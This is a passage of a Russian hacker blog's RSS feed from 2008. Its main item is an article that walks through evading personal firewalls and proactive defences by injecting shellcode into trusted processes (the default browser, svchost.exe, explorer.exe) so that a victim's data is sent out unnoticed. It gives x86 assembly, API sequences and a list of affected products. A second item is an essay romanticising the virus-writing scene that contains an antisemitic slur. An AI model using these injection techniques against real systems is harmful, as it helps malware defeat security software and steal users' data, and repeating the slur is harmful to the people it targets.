универсален(не может быть использован на&lt;br&gt;Windows 2000), хотя и может применятся с успехом в Windows XP. Также на Windows XP SP2 было обнаружено,&lt;br&gt;что процесс EXPLORER.EXE имеет свой же описатель с максимальными привилегиями, после его получения&lt;br&gt;возможно делать с процессом любые манипуляции. Но после дальнейших тестов было обнаружено, что это&lt;br&gt;ошибка именно Service Pack 2, и на Service Pack 1 этот недочет не обнаружен так же как и на обычной Windows XP RTM.&lt;br&gt;&lt;br&gt;Greets to Ms-Rem, EP_XOFF, Tyler Durden, deadbody,который&lt;br&gt;чувствует исследователь и взломщик. Конечно, все эти техники используются&lt;br&gt;некоторое количество времени в виде приватных утилит. До этого времени&lt;br&gt;подобная информация не появлялась в таком количестве, качестве и концентрате.&lt;br&gt;Многое было сделано до меня другими исследователями. За это надо сказать им спасибо.&lt;br&gt;За их смелость выложить на публичное мнение свои&lt;br&gt;уникальные разработки. Обход описанный тут раннее нигде не появлялся,&lt;br&gt;но базируется на некоторых известных техниках. Чтож приступим.&lt;br&gt;&lt;br&gt;Теория&lt;br&gt;======&lt;br&gt;Что такое обход защиты? Это возможность выполнять действия, которые запрещает защита.&lt;br&gt;Тут нет правил и законов, есть просто задача добиться результата.&lt;br&gt;Существует негласная война между авторами фаерволов и проактивных защит с взломщиками.&lt;br&gt;Конечно, само существование данной войны очевидно. Отмечу, что здесь рассматривается&lt;br&gt;только материал применимый к ОС семейства Windows NT, хотя теоретические принципы&lt;br&gt;могут быть использованы для обхода любой защиты, которая строится на основе&lt;br&gt;модели архитектуры современных фаерволов. Кратко опишем эту модель.&lt;br&gt;&lt;br&gt;На компьютере жертвы установлен фаервол, который имеет как модуль&amp;nbsp;&amp;mdash; проактивную защиту.&lt;br&gt;Поведение (блокирование и разрешение) фаервола определяется набором правил. Правила&lt;br&gt;бывают обычно двух видов&amp;nbsp;&amp;mdash; глобальные правила и правила для приложений. Если говорить&lt;br&gt;в общем, то в основе обхода любой защиты лежат мысли о 1) допущениях, 2) исключениях или&lt;br&gt;3) ошибках сделанных разработчиками защиты. Эти три вещи дают обход практически любой&lt;br&gt;защиты. А как изввестно не было еще такой защиты, которую не сломали. Если рассматривать&lt;br&gt;персональные фаерволы в этом разрезе, то получим такую схему действий исследования&amp;nbsp;&amp;mdash;&lt;br&gt;искать и использовать три вышеперечисленных пункта. Если поиск успешен, то мы победили.&lt;br&gt;&lt;br&gt;Из всего сказано следует слудующее&amp;nbsp;&amp;mdash; чтобы обойти персональный фаервол необходимо&lt;br&gt;либо использовать существующие правила, либо разрушить модель правил, либо использовать&lt;br&gt;ошибку в ПО защиты. С ошибками в ПО сложнее всего. Во-первых они не универсальны,&lt;br&gt;во-вторых их сложно найти и использовать. Наиболее лучший обход использует минимум&lt;br&gt;недокументированных функций и структур и применим ко всем защитам, т.е. универсален.&lt;br&gt;Я такого обхода не дам :) Поэтому будем использовать недокументированные техники,&lt;br&gt;но при этом относительно универсальные. Вернемся к правилам фаервола&amp;nbsp;&amp;mdash; чтобы их&lt;br&gt;нарушить достаточно попасть в ring0, на этом защита заканчивается. Чтобы использовать&lt;br&gt;существующие правила в своих целях мы используем общую технику известную давно называемую&lt;br&gt;инжектом. Т.е. исполнение кода в контексте доверенного приложения. Так, если мы каким-либо&lt;br&gt;образом заставим доверенное приложение Internet Explorer выполнить наш код, мы сможем&lt;br&gt;отправить данные в обход защиты. Вообще универсально надо брять браузер по умолчанию&lt;br&gt;и его использовать как жертву исполнения нашего кода. И конечно в своем инжектированном&lt;br&gt;коде мы используем правила, которые имеются в фаерволе относительно Internet Explorer&lt;br&gt;(например, исходящие на 80 порт). Теперь дело за малым&amp;nbsp;&amp;mdash; выполнить инжект при этом&lt;br&gt;оставшись незамеченным для проактивной защиты, которая стемится закрыть все методы,&lt;br&gt;которые используются для инжекта. Теперь опишем конкретные атаки, которые применимы&lt;br&gt;для конкретных фаерволов.&lt;br&gt;&lt;br&gt;Общий код инжекта&lt;br&gt;=================&lt;br&gt;Инжект всегда состоит их двух этапов:&lt;br&gt;1) Запись кода в адресное простанство процесса-жертвы&lt;br&gt;2) Передача управления записанному коду&lt;br&gt;&lt;br&gt;Этапы эти могут быть любого вида&amp;nbsp;&amp;mdash; явные или косвенные и использовать&lt;br&gt;любые доступные технические приемы. Если каждый из этапов не обнаруживается защитой,&lt;br&gt;то можно осуществить инжект. При этом каждый этап обязателен, без любого из них&lt;br&gt;инжект не будет осуществлен.&lt;br&gt;&lt;br&gt;CreateProcess&lt;br&gt;=============&lt;br&gt;Алгоритм следущий&amp;nbsp;&amp;mdash; хукаем в своем процессе из NTDLL&amp;nbsp;&amp;mdash; ZwCreateSection,&lt;br&gt;ZwQuerySection и создаем процесс с помощью CreateProcess. До возврата из&lt;br&gt;CreateProcess вызываются хукнутые ZwCreateSection/ZwQuerySection. Тут надо&lt;br&gt;смотреть внутрь механима создания процесса&amp;nbsp;&amp;mdash; когда создается процесс, то&lt;br&gt;один из этапов&amp;nbsp;&amp;mdash; открытие файла EXE-файла и проецирование его на адресное&lt;br&gt;пространство создаваемого процесса. Создание проекции делается функцией ZwCreateSection.&lt;br&gt;В этот момент в перехватчике функции ZwCreateSection можно писать любые данные&lt;br&gt;с помощью той же KERNEL32!WriteProcessMemory и при этом проактивная защита&lt;br&gt;будет молчать. Далее после создания проекции, код CreateProcess получает точку&lt;br&gt;входа (Entry Point) нового процесса (т.е. его первичного потока) с помощью функции&lt;br&gt;ZwQuerySection. Перехватчик ZwQuerySection возвращает точку входа, но не реальную&amp;nbsp;&amp;mdash;&lt;br&gt;взятую из опционального заголовка&amp;nbsp;&amp;mdash; а лживую&amp;nbsp;&amp;mdash; а именно адрес нашего кода, который&lt;br&gt;необходимо выполнить. Т.о. образом когда функция CreateProcess завершит работу будет&lt;br&gt;исполнятся наш код, который отправит данные куда надо в контексте доверенного приложения.&lt;br&gt;&lt;br&gt;Хорошо. Тут есть некоторые моменты, на которые я хотел бы обратить внимание.&lt;br&gt;В обработчике ZwCreateSection не всегда можно писать с помощью WriteProcessMemory,&lt;br&gt;некоторыми защитами это обнаруживается. В этом случае можно перехватить также и&lt;br&gt;WriteProcessMemory, которая также вызывается внутри CreateProcess. Когда&lt;br&gt;создается процесс в него пишутся переменные окружения родительского процесса,&lt;br&gt;если не указаны явно переменные окружения. Вот в этом месте перехватывая WriteProcessMemory&lt;br&gt;можно записать свой shellcode. Тоже самое с PEB. Еще проще просто указать параметром&amp;nbsp;&amp;mdash;&lt;br&gt;lpEnvironment адрес нашего шелкода. Хорошо. Но это тоже не всегда работает.&lt;br&gt;Существует способ записи, который пока работает всегда&amp;nbsp;&amp;mdash; если удается успешно создать процесс.&lt;br&gt;Алгоритм записи следующий:&lt;br&gt;&lt;br&gt;1) Вызов CreateProcess с флагом CREATE_SUSPENDED&lt;br&gt;2) Создание файла, запись shellcode в файл&lt;br&gt;3) Создание проекции файла с шелкодом с помощью NtCreateSection&lt;br&gt;4) Проецирование файла на адресное пространство приостановленного процесса с помощью NtCreateSection&lt;br&gt;&lt;br&gt;Способ хоть и известный, но далеко все авторы защит его пока прикрыли. Многие защиты&lt;br&gt;блокируют создание сетевого процесса, а некоторые вообще создание процесса.&lt;br&gt;Но не все. Например, известный Kaspersky Internet Security 7.0.0.125 поддается на&lt;br&gt;эту атаку. Также на эту атаку поддаются ранние версии Agnitum Outpost (и Outpost 2008&lt;br&gt;если удастся успешно создать процесс). Ну и куча заморских фаерволов такие как Norton&lt;br&gt;Internet Security 2008, Bit Defender Total Security 2008, Zone Alarm 7 на средних настройках&lt;br&gt;(на максимуме блокирует), Agava Firewall, Ashampoo Firewall, AhnLab V3 Internet Security 2007,&lt;br&gt;Black ICE PC Protection 3,6, Look'n'Stop 2,06, Normal Personal Firewall 1,4, Visnetic Firewall&lt;br&gt;3,0 и т.д. и т.д.&lt;br&gt;&lt;br&gt;Перейдем к практической реализации данного метода. Браузер по умолчанию получаем&lt;br&gt;с помощью доступа к ключу по умолчанию в разедел &amp;laquo;http\shell\open\command&amp;raquo;:&lt;br&gt;&lt;br&gt;lea ecx,[hKey]&lt;br&gt;push ecx&lt;br&gt;push KEY_READ&lt;br&gt;push 0&lt;br&gt;lea ecx,[SubKey]&lt;br&gt;push ecx&lt;br&gt;push HKEY_CLASSES_ROOT&lt;br&gt;call RegOpenKeyEx&lt;br&gt;&lt;br&gt;lea ecx,[cbData]&lt;br&gt;push ecx&lt;br&gt;lea ecx,[Buffer]&lt;br&gt;push ecx&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push [hKey]&lt;br&gt;call RegQueryValueEx&lt;br&gt;&lt;br&gt;После исполнения данного кода в буффере будет путь к браузеру по умолчанию.&lt;br&gt;Далее создаем процесс в приостановленом состоянии:&lt;br&gt;&lt;br&gt;lea eax,[pi]&lt;br&gt;push eax&lt;br&gt;lea eax,[si]&lt;br&gt;push eax&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push CREATE_SUSPENDED&lt;br&gt;push 0&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;lea eax,[Buffer]&lt;br&gt;push eax&lt;br&gt;push NULL&lt;br&gt;call CreateProcess&lt;br&gt;&lt;br&gt;Далее создаем проекцию файла и проецируем ее на адресное пространство созданного процесса:&lt;br&gt;&lt;br&gt;push [hFile]&lt;br&gt;push 0x8000000;SEC_COMMIT&lt;br&gt;push PAGE_EXECUTE_READWRITE&lt;br&gt;push NULL&lt;br&gt;push NULL&lt;br&gt;push SECTION_ALL_ACCESS&lt;br&gt;lea eax,[hSection]&lt;br&gt;push eax&lt;br&gt;call NtCreateSection&lt;br&gt;&lt;br&gt;push PAGE_EXECUTE_READWRITE&lt;br&gt;push 0&lt;br&gt;push 1;ViewShare&lt;br&gt;mov [ViewSize],0&lt;br&gt;lea ecx,[ViewSize]&lt;br&gt;push ecx&lt;br&gt;push NULL&lt;br&gt;push 0&lt;br&gt;push 0&lt;br&gt;push [ebx+FreeBaseAddress-NormalCodeStart]&lt;br&gt;pop [BaseAddress]&lt;br&gt;lea ecx,[BaseAddress]&lt;br&gt;push ecx&lt;br&gt;push [pi + PROCESS_INFORMATION.hProcess]&lt;br&gt;push [hSection]&lt;br&gt;call NtMapViewOfSection&lt;br&gt;&lt;br&gt;Вот здесь выявляется проблема. По какому адресу спроецировать shellcode. Ведь&lt;br&gt;уже в этот момент мы должны были изменить точку входа на адрес нашего шелкода&lt;br&gt;(до возврата из CreateProcess в перехватчике NtQuerySection). Пусть это будет предварительно&lt;br&gt;выбранный адрес&amp;nbsp;&amp;mdash; константа, который по тестам не конфликтует с имеющимися проекциями.&lt;br&gt;Но это будет явно не стабильно, т.к. конфликты могут быть и необходимо предусмотреть&lt;br&gt;их отсутствие. Поэтому мы делаем следующим образом. Первый раз вызываем CreateProcess&lt;br&gt;с флагом CREATE_SUSPENDED без хука NtCreateSecion/NtQuerySection, потом делаем проекцию по адресу,&lt;br&gt;который выберет система и запоминаем его. После этого уничтожаем процесс. Далее создаем&lt;br&gt;процесс уже с хуками нужных функций, но уже зная адрес проекции. После создания процесса&lt;br&gt;делаем проекцию по уже известному адресу. Т.о. мы делаем тест конфликта для данной системы.&lt;br&gt;Это должно минимизировать совпадения адресов проекции нашего шелкода и другой выделенной на&lt;br&gt;данной момент памяти. После этог обход можно считать оконченным. Дальше остается только&lt;br&gt;возобновить выполнение первичного потока (т.к. мы создавали процесс у которого первичный поток&lt;br&gt;находится в приостановленном состоянии):&lt;br&gt;&lt;br&gt;push [pi + PROCESS_INFORMATION.hThread]&lt;br&gt;call ResumeThread&lt;br&gt;&lt;br&gt;NtQueueApcThread&lt;br&gt;================&lt;br&gt;На вызове этой функции основан обход почти всех существующий сейчас проактивных защит и&lt;br&gt;фаерволов, какими бы мощными они не казались. Вот алгоритм обхода:&lt;br&gt;&lt;br&gt;1) Создаем DLL с именем совпадающим последними буквами с DLL, которая есть в&lt;br&gt;импорте SVCHOST.EXE, например &amp;laquo;ERNEL32.DLL&amp;raquo; . В DLL должен быть shellcode для&lt;br&gt;исполнения в контексте SVCHOST.EXE (это приложение в правилах всех фаерволов&lt;br&gt;может также проявлять активность как и Internet Explorer).&lt;br&gt;&lt;br&gt;2) Ищем в адресном пространстве процесса SVCHOST.EXE строку &amp;laquo;ERNEL32.DLL&amp;raquo;. Можно&lt;br&gt;делать это сканированием вызовом функции ReadProcessMemory (для этого предварительно&lt;br&gt;надо открыть SVCHOST&amp;nbsp;&amp;mdash; OpenProcess(PROCESS_VM_READ)). Другой и более качественный&lt;br&gt;способ поиска строки&amp;nbsp;&amp;mdash; спроецировать файл SVCHOST.EXE себе в адресное пространство&amp;nbsp;&amp;mdash;&lt;br&gt;и найти в таблице импорта строку &amp;laquo;ERNEL32,32&amp;raquo;. Складывая относительный адрес строки с&lt;br&gt;базовым адресом модуля по умолчанию (ImageBase в опциональном заголовке)&lt;br&gt;получаем адрес нужной строки.&lt;br&gt;&lt;br&gt;3) Перебираем потоки процесса SVCHOST.EXE и делаем вызов для каждого из них NtQueueApcThread.&lt;br&gt;Эта функция добавляет потоку APC&amp;nbsp;&amp;mdash; вызов асинхронной процедуры. Но у функции есть ограничение&lt;br&gt;- процедура выполняется только в случае если поток перешел в режим Alartable. Этот факт&lt;br&gt;обуславливает выбор процесса SVCHOST.EXE в качестве жертвы исполнения shellcode. При исследовании&lt;br&gt;стало понятно, что во всех версиях Windows 2000/XP процесс SVCHOST.EXE имеет Alertable-потоки&lt;br&gt;и при этом SVCHOST.EXE является доверенным приложением с возможной сетевой активностью, что&lt;br&gt;явно дает право выбрать его в качестве жертвы. Также неободимо сказать, что процесс SVCHOST.EXE&lt;br&gt;существует в системе всегда, в противном случае ОС попадает в BSOD (если убить один из SVCHOST.EXE).&lt;br&gt;Вот прототип функции NtQueueApcThread:&lt;br&gt;&lt;br&gt;proc NtQueueApcThread hThread, FunctionAddress, Par1, Par2, Par3&lt;br&gt;&lt;br&gt;Функция добавляет в очередь асинхронных процедур новую асинхронную процедуру с конвецией&lt;br&gt;вызова STDCALL и с передачей трех параметров Par1, Par2, Par3. Интересно, но есть функция,&lt;br&gt;которая очень точно нам подоходит и также принимает три параметра&amp;nbsp;&amp;mdash; LoadLibraryEx. Т.о. мы&lt;br&gt;просто загружаем DLL в адресное пространство процесса SVCHOST.EXE.&lt;br&gt;&lt;br&gt;4) Из самой DLL нельзя что-либо делать, т.к. это обнаружение контролем компонентов.&lt;br&gt;Поэтому что все мы делаем в DLLMain это&amp;nbsp;&amp;mdash; копируем shellcode из своего тела, и сохраняем в&lt;br&gt;файл с известным именем TID и адрес shellcode. Далее после проделанных действий DLL нужно удалить.&lt;br&gt;&lt;br&gt;5) Открываем файл созданный внутри DllMain&amp;nbsp;&amp;mdash; и ставим в очередь известного потока&lt;br&gt;(его TID записан в файле) адрес процедуры, который также известен. после этого обход закончен.&lt;br&gt;&lt;br&gt;Этот обход преодолевает уже и Comodo Firewall 2,4 и Agnitum Outpost 2008 и все названные&lt;br&gt;в предыдущем разделе защиты. Остались при этом живы Jetico и Tiny&amp;nbsp;&amp;mdash; об обходе этих защит&lt;br&gt;здесь говорить ничего не буду, т.к. это отдельный разговор. Zone Alarm 7 в параноидальном&lt;br&gt;режиме ловит этот вид обхода&amp;nbsp;&amp;mdash; а именно не дает открыть поток для посылки в него APC,&lt;br&gt;но для него был сделан отдельных обход, который я опишу ниже.&lt;br&gt;&lt;br&gt;Zone Alarm&lt;br&gt;==========&lt;br&gt;У ZoneAlarm особая модель&amp;nbsp;&amp;mdash; Trusted Application. Если исполнять что-либо в контексте&lt;br&gt;Super Trusted приложений, то ZA не обратит на это внимание. Одно из таких Super&lt;br&gt;Trusted приложений&amp;nbsp;&amp;mdash; это EXPLORER.EXE. У ZA особая модель защиты&amp;nbsp;&amp;mdash; она не мучается&lt;br&gt;перехватывать кучу функций в SDT относительно потоков и процессов&amp;nbsp;&amp;mdash; она просто не дает&lt;br&gt;открывать процесс и поток с видами доступа, которые могут привести к нарушению безопасности.&lt;br&gt;Т.е. если открывать процесс или поток, то ZA будет ругатся. Но была найдена ошибка,&lt;br&gt;которая позволяет все таки открыть процесс. Вот алгоритм:&lt;br&gt;&lt;br&gt;1) Открываем процесс с правами DUP_HANDLE&amp;nbsp;&amp;mdash; это ZA позволяет.&lt;br&gt;&lt;br&gt;2) Перечисляем описатели EXPLORER.EXE в поисках описателя одного из потоков EXPLORER.EXE в нем.&lt;br&gt;Смотрим права для описателя&amp;nbsp;&amp;mdash; если они максимальны, то делаем вызов DuplicateHandle.&lt;br&gt;Т.о. мы получаем описатель потока с максимальными привилегиями.&lt;br&gt;&lt;br&gt;3) Теперь можно сделать инжект. Передать управление мы можем с помощью функции SetThreadContext,&lt;br&gt;описатель потока у нас есть. Но чтобы в процесс записать данные надо исопльзовать отдельную технику,&lt;br&gt;которая общедоступна. О ней в следующем пункте.&lt;br&gt;&lt;br&gt;4) При перечислении описателей получаем описатель порта. У EXPLORER.EXE во всех версиях&lt;br&gt;имеется порт. После получения описателя порта получаем его имя. После этого вызовом&lt;br&gt;NtConnectPort и созданием секции в которой находится наш shellcode проекция файла с shellcode&lt;br&gt;волшебным образом окажется в адресном пространстве процесса EXPLORER.EXE.&lt;br&gt;&lt;br&gt;5) Используем SetThreadContext для передачи управления нашему shellcode.&lt;br&gt;&lt;br&gt;6) Т.к. от имени EXPLORER.EXE можно делать разные системные вещи (но нельзя проявлять сетевую активность)&lt;br&gt;без опасения тревоги ZA, то используем метод с названием CreateProcess описанный выше для&lt;br&gt;окончательного обхода ZA на параноидальных настройках.&lt;br&gt;&lt;br&gt;Видно, что обход основан на том, что возможно все таки получить описатель потока без&lt;br&gt;обнаружения ZA. При этом нам повезло, что процесс EXPLORER имеет в себе свои же описатели&lt;br&gt;потоков с максимальными привилениями, а также имеет порт, подключение к которому позволяет&lt;br&gt;записать данные shellcode в адресное пространство процесса-жертвы используя ранее публично доступный&lt;br&gt;метод. При исследонии ZA было также обнаружено, что ZA позволяет открыть процесс СTFMON.EXE с максимальными&lt;br&gt;привилегиями без предупреждения пользователя. Это факт также легко может использоваться для обхода ZA.&lt;br&gt;Но CTFMON.ExE не всегда запущен (хоть и очень часто&amp;nbsp;&amp;mdash; сама Windows прописывает его в автозагрузку при установке),&lt;br&gt;и появился только в Windows XP, поэтому этот способ не очень универсален(не может быть использован на&lt;br&gt;Windows 2000), хотя и может применятся с успехом в Windows XP. Также на Windows XP SP2 было обнаружено,&lt;br&gt;что процесс EXPLORER.EXE имеет свой же описатель с максимальными привилегиями, после его получения&lt;br&gt;возможно делать с процессом любые манипуляции. Но после дальнейших тестов было обнаружено, что это&lt;br&gt;ошибка именно Service Pack 2, и на Service Pack 1 этот недочет не обнаружен так же как и на обычной Windows XP RTM.&lt;br&gt;&lt;br&gt;Greets to Ms-Rem, EP_XOFF, Tyler Durden, deadbody&lt;br&gt;&lt;br&gt;FEEBACK&lt;br&gt;=======&lt;br&gt;mail: evilphreak.blog.ru&lt;br&gt;web: evil_phreak@mail.ru&lt;br&gt;&lt;br&gt;&amp;copy; EvilPhreak, 2008&lt;br&gt;&lt;br&gt;FEEBACK&lt;br&gt;=======&lt;br&gt;mail: evilphreak.blog.ru&lt;br&gt;web: evil_phreak@mail.ru&lt;br&gt;&lt;br&gt;&amp;copy; EvilPhreak, 2008</description><category>инжект</category><category>проактивная защита</category><category>kaspersky internet security</category><category>outpost</category><category>обход фаеров</category><category>zone alarm</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/3924691.html</guid><pubDate>Fri, 28 Dec 2007 08:01:04 GMT</pubDate><title>VX-Сцена</title><link>http://evilphreak.blog.ru/3924691.html</link><description>&lt;div align="justify"&gt;&lt;div align="left"&gt;&lt;span&gt;&lt;span&gt;На улице конец 2007 года. На носу 2008-ой.&amp;nbsp;Мысли&amp;nbsp;о&amp;nbsp;сцене&amp;nbsp;наполнили&amp;nbsp;голову.&amp;nbsp;&lt;br&gt;Что&amp;nbsp;такое&amp;nbsp;VX-сцена?&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;br&gt;&lt;br&gt;Сцена&amp;nbsp;-&amp;nbsp; это&amp;nbsp;то,&amp;nbsp;что&amp;nbsp;творится&amp;nbsp;вокруг&amp;nbsp;VX.&amp;nbsp;Одно&amp;nbsp;можно&amp;nbsp;сказать&amp;nbsp;сейчас&amp;nbsp;точно&amp;nbsp;-&amp;nbsp;сцена&amp;nbsp;умерла&amp;nbsp;&lt;br&gt;полностью.&amp;nbsp;Воскреснет&amp;nbsp;ли&amp;nbsp;она? Теоритически это возможно. На практике ощущается точно&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;div align="left"&gt;&lt;span&gt;и четкое мощнейшее влияние money-фактора не сцену. Только этот фактор убил ее в начале,&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;и не дает восреснуть сейчас.&amp;nbsp;29A&amp;nbsp;умерли,&amp;nbsp;хоть&amp;nbsp;и&amp;nbsp;обещали&amp;nbsp;издать&amp;nbsp;журнал&amp;nbsp;в&amp;nbsp;начале&amp;nbsp;2007&amp;nbsp;года.&amp;nbsp;&lt;br&gt;&lt;/span&gt;&lt;div align="left"&gt;&lt;span&gt;Обещание&amp;nbsp;не&amp;nbsp;сдержали,&amp;nbsp;да&amp;nbsp;и&amp;nbsp;не&amp;nbsp;кому&amp;nbsp;его&amp;nbsp;сдерживать&amp;nbsp;&amp;mdash; остались там одни cтарички-импотенты.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;Раньше было иначе, но время их убило, убило их горячие, пылкие и терпеливые сердца, которые были наполнены лишь одной жаждой&amp;nbsp;&amp;mdash; творить.&amp;nbsp;&lt;br&gt;VX&amp;nbsp;в&amp;nbsp;моем&amp;nbsp;сейчас&amp;nbsp;уже&amp;nbsp;достаточно&amp;nbsp;опытном&amp;nbsp;взляде&amp;nbsp;ничто&amp;nbsp;иное&amp;nbsp;как&amp;nbsp;ценный,&amp;nbsp;&lt;br&gt;вкусный&amp;nbsp;креатиф области системного программирования,&lt;br&gt;в основном вирусописательства, реверсинга, эксплуатации программного обеспечения, конечно&amp;nbsp;&amp;mdash; руткито-строения(и аналогичных stealth-техник)&lt;br&gt;и всех других связанных с этими темами техник.&lt;br&gt;Креатиф,&amp;nbsp;который&amp;nbsp;мог&amp;nbsp;стоить&amp;nbsp;кучу&amp;nbsp;денег,&amp;nbsp;но&amp;nbsp;он&amp;nbsp;был&amp;nbsp;раскрыт&amp;nbsp;лишь&amp;nbsp;с&amp;nbsp;одной&amp;nbsp;целью. Цель это мне трудно озвучить&amp;nbsp;&amp;mdash; это та вещь, которая позволяет гениальным художникам создавать гениальные картины и не за деньги, а просто так. Желание творить лучшее не беря за это практически ничего. Преданность своему делу.&lt;br&gt;&lt;br&gt;Смерть 29A прошла для сообщества как бы и незаметно, людям это неинтересно. И вообще кажется, что после смерти 29A умерли и люди, для которых она что-то значила. Не только группа, но и сцена вообще. Умер WASM.RU. Не сайт умер, умерли люди, которые вливали в него новую кровь. Их больше нет, нет их постов, и материалов. Умер ROOTKIT.COM. Месяцами там не появляются статьи. И что-то более-менее стоящее не появлялось наверное уже год. Да, появился ROOTKITS.RU. Но это отрыжка пока и ничего более. Хотя, были недавно совсем люди, которые все таки пускали новую кровь, веселили нас и делали своим существование ту вещь, которую мы называем сценой&amp;nbsp;&amp;mdash; это например EP_XOFF. Но он тоже умер и больше его никогда не будет. Умерли BHC, очень яркий и живой пример живности выросшей внутри сцены, как-то даже создающей её.&amp;nbsp;Умер Ms-Rem,&amp;nbsp;человек,&amp;nbsp;который&amp;nbsp;подарил&amp;nbsp;время&amp;nbsp;для&amp;nbsp;жизни&amp;nbsp;сцены. Мир&amp;nbsp;затих.&amp;nbsp;Нет&amp;nbsp;прежней&amp;nbsp;шумихи,&amp;nbsp;нет&amp;nbsp;сумашедшего&amp;nbsp;ажиотажа&amp;nbsp;вокруг&amp;nbsp;VX и STEALTH технологий.&amp;nbsp;&lt;br&gt;&lt;br&gt;Что&amp;nbsp;случилось?&amp;nbsp;Ответ&amp;nbsp;прост.&amp;nbsp;Сцена&amp;nbsp;жестока,&amp;nbsp;она&amp;nbsp;не&amp;nbsp;хочет&amp;nbsp;существовать&amp;nbsp;сама&amp;nbsp;по&amp;nbsp;себе,&lt;br&gt;она строится на голом энтузиазме и живет на нем, им питается и хочет поглатить его.&lt;br&gt;А энтузиазма этого уже нет. Или он есть, но его сожрала та самая сцена, бескопромисная, страшная и жестокая сцена.&lt;br&gt;&lt;br&gt;Есть плюсы&amp;nbsp;&amp;mdash; сцена все таки что-то отдает. Отдает она память об ушедших героях. Память о них будет сохранена в наших сердцах. Мы помним о Z0MBiE, Ms-Rem'е, их творениях, изайны BHC перечитываются перед сном и будут перечитываться далее, это стало нашим духовным достоянием, без которого уже нет существования. История сцены мать её.&lt;br&gt;&lt;br&gt;Будем верить и надеятся, что появятся новые герои, им можешь быть ты.&amp;nbsp;Пусть сгорят в оду одепты денег, хотя мы все ими являемся. Сложно быть человеком, который идет протев, им был Зомба, им был Рем, им был Володуа. Зомба сохранял потенцию в течении 10 лет. Он по праву считается нашим отцом, который посеял землю для многих-многих других VX-ов.&amp;nbsp;Ведь&amp;nbsp;он&amp;nbsp;наш&amp;nbsp;соотечественник.&amp;nbsp;Человек,&amp;nbsp;который&amp;nbsp;отдал&amp;nbsp;свою&amp;nbsp;жизнь&amp;nbsp;сцене,&lt;br&gt;так&amp;nbsp;не&amp;nbsp;сделал&amp;nbsp;еще&amp;nbsp;&lt;span&gt;никто.&lt;/span&gt;&lt;/span&gt; &lt;span&gt;Мы помним и ценим это.&amp;nbsp;&lt;br&gt;&lt;br&gt;Наверное&amp;nbsp;это&amp;nbsp;та&amp;nbsp;цель&amp;nbsp;к&amp;nbsp;которой&amp;nbsp;можно&amp;nbsp;и нужно стремится. Не знаю, что будет чувствовать зомба когда умрет&amp;nbsp;&amp;mdash; но я думаю он не зря прожил свои молодые годы. Еще в далеком 1996 году его имя появилось в 29#2 и оставалось там до 8-го номера целых 10 лет!&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;div align="left"&gt;&lt;span&gt;Что сейчас? Сейчас жидохэкеры пишут свои ничтожные статейки, материал которых базируется на исследованиях 10ти летней давности. Причем это пережовывается много-много раз разными словами. Конечно&amp;nbsp;&amp;mdash; исследования продолжаются, но они ушли в подполье, все коды работают и исполняют свое единственное&amp;nbsp;дело&amp;nbsp;-&amp;nbsp;зарабатывание&amp;nbsp;денег.&amp;nbsp;Кто-то&amp;nbsp;просто&amp;nbsp;обиделся&amp;nbsp;на&amp;nbsp;сцену,&amp;nbsp;кто-то&amp;nbsp;хочет&amp;nbsp;быть&amp;nbsp;богатым.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;Можно&amp;nbsp;ли&amp;nbsp;обвинять&amp;nbsp;кодесописателей&amp;nbsp;в&amp;nbsp;этом?&amp;nbsp;Конечно&amp;nbsp;нет.&amp;nbsp;Скорее&amp;nbsp;29A,&lt;br&gt;просто делали нам большие подарки в свое время, и мы за это благодарны им.&amp;nbsp;&lt;/span&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;</description><category>wasm</category><category>29a</category><category>z0mbie</category><category>ms-rem</category><category>vx-сцена</category></item></channel></rss>

